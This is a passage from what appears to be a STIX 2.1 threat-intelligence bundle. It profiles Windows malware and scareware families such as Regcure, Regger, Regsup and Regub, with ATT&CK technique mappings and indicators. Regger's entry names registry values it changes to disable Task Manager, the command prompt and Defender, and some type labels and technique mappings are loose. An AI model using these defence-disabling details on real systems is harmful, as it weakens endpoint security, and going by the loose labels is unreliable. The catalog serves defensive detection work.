      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refroso exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--704eb4de-8115-5669-8aa9-5fcc17cf0c5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1ecdc49-d791-5836-b0a2-6a043e57e87b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refroso exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b36c0bb5-69e6-5fb8-8897-173be3b25e42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1ecdc49-d791-5836-b0a2-6a043e57e87b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refroso exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a33dcbc-77b9-5c28-80c2-0aa46bc70807",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1ecdc49-d791-5836-b0a2-6a043e57e87b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refroso exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--755ba817-9e86-5cca-b559-c0d277f81c74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Regcure",
      "description": "Rogue:Win32/Regcure is one of the most infamous and widely distributed examples of a 'Rogue Registry Cleaner' or Scareware. It is a Potentially Unwanted Program (PUA) that masquerades as an essential Windows optimization tool. It utilizes highly deceptive, alarming pop-ups and completely fabricated scan results to frighten the user into believing their Windows Registry is critically corrupted, coercing them into purchasing a 'premium' license to fix the non-existent errors.<br><br><b>Understanding Regcure Scareware</b><br>To an end-user, Regcure is terrifying. Their screen fills with flashing red warnings claiming '1,432 Critical Registry Errors Found!' or 'System Crash Imminent!' For a security analyst, Regcure is a manipulative fraud. The software provides zero benefit; modern Windows operating systems do not require third-party registry cleaners, and running them often causes actual system instability.<br><br><b>Execution and Deception Mechanics</b><br>Regcure was heavily distributed via aggressive affiliate marketing, malvertising, and deceptive software bundlers (`T1189`). When installed, it immediately runs a 'registry scan' (`T1204.002`). This scan intentionally flags legitimate, harmless registry keys (like MRU lists or empty CLSIDs) as 'critical threats' (`T1566.002`). It establishes aggressive persistence via Registry Run keys and Scheduled Tasks (`T1053.005`) to ensure its alarming pop-ups appear every time the computer boots, constantly harassing the user to pay. If the user clicks 'Fix Errors', they are blocked by a paywall and directed to a high-pressure payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial fraud (tricking users into paying for useless software) and a severely degraded user experience due to constant harassment and potential system instability caused by the rogue cleaner deleting legitimate keys. Incident responders will observe the unexpected installation of the Regcure GUI. EDR logs will show the creation of persistent startup entries and Scheduled Tasks designed to launch the fake scanner automatically. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Regcure",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/regcure"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c508d842-bb84-589f-bd46-f6b39b274cb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--755ba817-9e86-5cca-b559-c0d277f81c74",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regcure exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b7fa590-aa7e-58e2-b9bd-e32a51175d7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--755ba817-9e86-5cca-b559-c0d277f81c74",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regcure exhibits technique T1566.002 (Phishing: Spearphishing Link (Deceptive Pop-ups and Fake Scans))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d07565c-c1f2-5e9d-bcd0-34cb6e35d59e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--755ba817-9e86-5cca-b559-c0d277f81c74",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regcure exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39369933-204d-5d8e-882f-d869853480ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--755ba817-9e86-5cca-b559-c0d277f81c74",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regcure exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c008cab5-59ed-5543-82ea-d3665024df7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Regcurepro",
      "description": "Rogueware:Win32/Regcurepro is a highly visible, classic example of a 'Fake Optimizer' and registry cleaner. It operates entirely on a model of deception and extortion. Masquerading as a legitimate, high-end utility designed to clean the Windows Registry and drastically speed up the computer, its actual function is to generate fabricated, alarming error reports to scare the user into purchasing a 'premium' software license (`T1189`).<br><br><b>Understanding Regcurepro (Fake Optimizers)</b><br>To an end-user, the software creates immense anxiety, constantly displaying pop-ups warning that the computer's health is 'Critical' and that a system crash is imminent. For an IT department, Regcurepro is a nuisance that generates false helpdesk tickets. The software itself is largely useless, and its aggressive 'cleaning' routines can actually delete vital system registry keys, causing genuine OS instability.<br><br><b>Execution and Deception Mechanics</b><br>Regcurepro is heavily distributed via aggressive affiliate marketing, deceptive pop-up ads claiming the user's PC is slow, or bundled with freeware. Upon execution, it performs a rapid, animated 'scan' that is guaranteed to find thousands of 'critical errors' (which are usually just temporary internet files or completely benign registry entries). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure its scary warnings appear every time the computer boots. It often disables the Windows Task Manager to prevent the user from easily terminating its process (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the highly visible Regcurepro GUI, unexpected Scheduled Tasks, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Regcurepro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/regcurepro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eedf2f38-fe6a-588b-b679-228aab518eea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c008cab5-59ed-5543-82ea-d3665024df7c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regcurepro exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab6ac591-05fe-5355-a91f-f1574cc6c758",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c008cab5-59ed-5543-82ea-d3665024df7c",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regcurepro exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffb2d235-5943-589d-aa6c-6e9e4d45775c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c008cab5-59ed-5543-82ea-d3665024df7c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regcurepro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dead91fc-1a4b-56bf-8268-f11b8e05c045",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Regger",
      "description": "Trojan:Win32/Regger is a persistent trojan characterized by its aggressive and illicit modifications to the Windows Registry. Its primary function is not necessarily direct data theft, but rather **sabotage and system degradation**. It manipulates critical registry keys to disable built-in security features, alter system policies, lower security zones, and pave the way for other, more destructive malware to execute without hindrance.<br><br><b>Understanding Regger</b><br>To an end-user, a Regger infection might manifest as a sudden inability to open Task Manager, a disabled Windows Defender, or constantly changing browser homepages. For a system administrator, Regger is a nuisance that attempts to un-harden the endpoint. It functions as an 'environment preparer', ensuring that subsequent malware payloads will not be blocked by OS-level defenses.<br><br><b>Execution and Registry Sabotage Mechanics</b><br>Regger is typically distributed as a secondary payload dropped by another downloader or via exploit kits. Upon execution, it does not rely on complex injection; instead, it uses standard Windows APIs (`RegSetValueEx`) to aggressively overwrite values (`T1112`). It specifically targets keys under `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System` to set `DisableTaskMgr`, `DisableRegistryTools`, and `DisableCMD` to `1` (`T1562.001`). It may also modify `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender` to turn off Real-Time Protection. Furthermore, it alters Internet Explorer Security Zones, effectively lowering the barrier for drive-by downloads. By crippling these administrative and security tools, Regger ensures its own persistence and the survival of companion malware.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely compromised and vulnerable operating system. Host-based IoCs are highly specific: EDR alerts triggering on rapid, unauthorized modifications to critical `Policies` and `Windows Defender` registry hives. The user's inability to launch `regedit.exe` or `taskmgr.exe` is a classic symptom. Network IoCs may be minimal, as Regger's primary action is local system modification. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Regger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/regger"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3399af25-e02b-5f32-8760-5b09d04075f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dead91fc-1a4b-56bf-8268-f11b8e05c045",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regger exhibits technique T1112 (Modify Registry (Making aggressive changes to system policies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76b7a531-0daa-5474-80f1-849467788627",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dead91fc-1a4b-56bf-8268-f11b8e05c045",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regger exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager, Regedit, Defender))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2253cf6a-0f05-5950-b40c-88089a2fca06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dead91fc-1a4b-56bf-8268-f11b8e05c045",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regger exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7a09eaa-9e57-546f-aba4-b345e6ea48d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Regrun",
      "description": "Regrun is an enduring Windows persistence and trojan family active since 2007, named after its aggressive manipulation of the Windows registry run keys. Designed to ensure survivability for secondary malicious threats across system reboots, Regrun modifies HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, and Winlogon\\Userinit registry paths to launch unauthorized executables. It actively monitors these registry entries using loop timers, immediately reinstating keys if modified or deleted by user intervention or security tools, and provides a stealthy platform for staging infostealers and remote access tools. (Observed samples in benchmark: 45)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Regrun",
        "Trojan.Win32.Regrun",
        "Win32/Regrun",
        "Regrun Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Regrun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/regrun"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3775c54-c2b3-5421-af7a-8293855ca470",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a09eaa-9e57-546f-aba4-b345e6ea48d9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regrun exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--432bdb14-c434-53c6-918e-a55dd8e346e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a09eaa-9e57-546f-aba4-b345e6ea48d9",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regrun exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--476be5ca-9403-5bcc-831c-bb8035243110",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a09eaa-9e57-546f-aba4-b345e6ea48d9",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regrun exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95ef534a-0aa1-560f-8e9f-24420ae4bafb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a09eaa-9e57-546f-aba4-b345e6ea48d9",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regrun exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71927a66-0425-54bf-98aa-9470aeb080a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a09eaa-9e57-546f-aba4-b345e6ea48d9",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regrun exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--70f19179-93cd-5d32-9adb-11ddc2f45650",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Regsup",
      "description": "Regsup (cataloged across security vendors as Trojan:Win32/Regsup, PUA:Win32/Regsup, and Trojan.Win32.Regsup) is a Windows trojan downloader and potentially unwanted application (PUA) framework engineered to perform aggressive system registry manipulation, browser modification, and secondary affiliate software delivery. Distributed through deceitful freeware bundles, cracked installers, and fake codec updates, Regsup silently modifies Windows registry keys governing browser start pages, default search providers, and startup configurations to divert internet traffic to ad-arbitrage portals. Additionally, Regsup establishes persistence via registry Run entries and scheduled tasks, periodically polling remote command-and-control servers to download secondary trojans, cryptominers, and browser hijackers. (Observed samples in benchmark: 296)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Regsup",
        "PUA:Win32/Regsup",
        "Trojan.Win32.Regsup",
        "Win32/Regsup.A",
        "Trojan.Regsup"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Regsup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/regsup"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c0b8b4d-621d-5ddc-b78a-b775f94a3d51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f19179-93cd-5d32-9adb-11ddc2f45650",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regsup exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d2f2aa9-19b8-5049-8a37-d4af57bd0854",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f19179-93cd-5d32-9adb-11ddc2f45650",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regsup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee9971ae-31bf-5e6c-96c0-04bcc9dac747",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f19179-93cd-5d32-9adb-11ddc2f45650",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regsup exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1830ec92-fa18-521f-924f-c808c097dc90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f19179-93cd-5d32-9adb-11ddc2f45650",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regsup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d51b3f38-aa79-5501-85e9-5e97bb7e2a25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f19179-93cd-5d32-9adb-11ddc2f45650",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regsup exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9c0c369b-5d02-5845-b6c1-d52865eab099",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Regub",
      "description": "Trojan:Win32/Regub is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Regub</b><br>To an end-user, a Regub infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Regub is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Regub is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Regub frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Regub reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Regub",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/regub"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ab366f9-595e-505e-9d60-f839c974f3b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c0c369b-5d02-5845-b6c1-d52865eab099",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regub exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea7ef59e-3f43-5087-adf3-0f53b2d653af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c0c369b-5d02-5845-b6c1-d52865eab099",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regub exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c461b5d-a0c2-5461-9348-eda59958c09c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c0c369b-5d02-5845-b6c1-d52865eab099",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regub exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2bab92c-1a80-5224-a6bb-4e5b8352ca2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c0c369b-5d02-5845-b6c1-d52865eab099",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regub exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c3a9cd5-7ba7-5641-855a-d680e65f023b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c0c369b-5d02-5845-b6c1-d52865eab099",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Regub exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2ea4529c-e827-507b-b447-0e92f1ca7cf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Reimage",
      "description": "Reimage (cataloged in antimalware telemetry under signatures including PUA:Win32/Reimage, Program:Win32/ReimageRepair, and Rogue:Win32/Reimage) is a prominent rogue system utility, aggressive scareware installer, and Potentially Unwanted Application (PUA) by Reimage Ltd active from 2012 to 2020. Aggressively distributed through deceptive software bundlers, intrusive redirect advertising networks, and fake 'virus detected' browser alerts, Reimage installs a system scan utility that systematically fabricates hundreds of critical operating system errors, stability warnings, and registry faults. It locks the victim into high-pressure scareware dialogs claiming system corruption is imminent, repeatedly demanding that the user purchase a high-cost commercial license key. Reimage registers autostart scheduled tasks, alters browser shortcuts, and actively resists simple uninstallation. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Reimage",
        "Program:Win32/ReimageRepair",
        "Rogue:Win32/Reimage",
        "Win32/Reimage",
        "Reimage Repair",
        "PUA.Reimage"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Reimage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/reimage"
        }
      ],
      "labels": [
        "rogue",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4a762670-c25d-5cf0-b804-f0c095eb4515",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Relevantknowledge",
